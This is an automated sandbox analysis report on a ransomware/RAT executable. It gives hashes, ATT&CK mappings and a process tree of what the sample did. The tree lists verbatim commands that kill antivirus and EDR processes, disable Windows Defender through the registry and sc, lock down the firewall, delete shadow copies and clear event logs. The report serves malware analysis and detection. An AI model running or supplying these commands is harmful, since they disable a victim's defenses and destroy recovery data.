082bab737bc9f5f79154d2b6a414ab8b58d7476963edae658abe91168d6150e7

Analysis

max time kernel
3s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
Size 11.1MB
Sample260804-d6djcscd76
SHA256 082bab737bc9f5f79154d2b6a414ab8b58d7476963edae658abe91168d6150e7
MD5 03ed7ecb95992f63a91cdbf81117db8a
SHA1 69611a3a35bcb40bb56d192996f4d1be6d0d3758
SHA512 28133c17e534ef45ace16dc9630e06921e783db1c5b69ac85e24f654d66bdb1e40f9df34ee70c3ee6f299090059e64ad28aecf893efb9f88ae7963c04402b752
SSDEEP 196608:TGpQBMgHjvlWVvElLfS4h2Yut8SnqA1D7lmDOdbh966Y:TGpQVDdcgLq4haXtmDOd1nY
TLSH
T19AC6125DBBAEF298CC36C6F71591817FE43779EA40E9B02E1E5432319E127162938CE1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution impact ransomware trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
996	wevtutil.exe
2328	wevtutil.exe
708	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3304	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1884	netsh.exe
4576	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3328	sc.exe
1108	sc.exe
3976	sc.exe
3436	sc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3160	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3948	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
1632	taskkill.exe
1660	taskkill.exe
700	taskkill.exe
4604	taskkill.exe
2516	taskkill.exe
4548	taskkill.exe
2108	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3304	powershell.exe
3304	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	taskkill.exe
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	4548	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	4604	taskkill.exe
Token: SeDebugPrivilege	1660	taskkill.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 2516	1664	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	85
PID 1664 wrote to memory of 3304	1664	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	86
PID 3304 wrote to memory of 1168	3304	powershell.exe	90
PID 1168 wrote to memory of 4548	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	91
PID 1168 wrote to memory of 2108	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	92
PID 1168 wrote to memory of 1632	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	93
PID 1168 wrote to memory of 4604	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	94
PID 1168 wrote to memory of 700	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	95
PID 1168 wrote to memory of 1660	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	96
PID 1168 wrote to memory of 3028	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	97
PID 1168 wrote to memory of 448	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	99
PID 1168 wrote to memory of 3272	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	100
PID 1168 wrote to memory of 3328	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	102
PID 1168 wrote to memory of 1108	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	103
PID 1168 wrote to memory of 3976	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	104
PID 1168 wrote to memory of 3436	1168	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	105

C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe' -ArgumentList '--elevated' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe" --elevated
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4548
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:2108
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4604
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      PID:700
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1660
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:3028
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:448
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3272
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:3328
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1108
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:3436
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:1884
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:4576
  - - C:\Windows\system32\ipconfig.exe
      "ipconfig" /release
      4⤵
      Gathers network information
      PID:3160
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Ethernet admin disabled
      4⤵
      PID:1812
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Wi-Fi admin disabled
      4⤵
      PID:4584
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3948
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      PID:2084
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:708
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:2328
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:996

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ee1qimea.qcw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ee1qimea.qcw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads